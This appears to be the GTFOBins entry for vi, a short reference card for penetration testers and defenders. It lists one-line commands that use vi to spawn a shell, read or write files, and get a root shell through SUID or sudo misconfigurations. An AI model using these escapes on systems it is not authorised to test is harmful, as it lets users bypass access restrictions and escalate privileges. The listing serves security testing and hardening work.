GTFOBins.github.io/_gtfobins/vi.md
2018-08-20 15:00:34 +02:00

370 B

functions
execute-interactive file-write file-read suid-enabled sudo-enabled
code
vi -c ':!/bin/sh'
code
vi :set shell=/bin/sh :shell
code
vi file_to_write iDATA ^[ w
code
vi file_to_read
code
./vi -c ':!/bin/sh -p'
code
sudo vi -c ':!/bin/sh'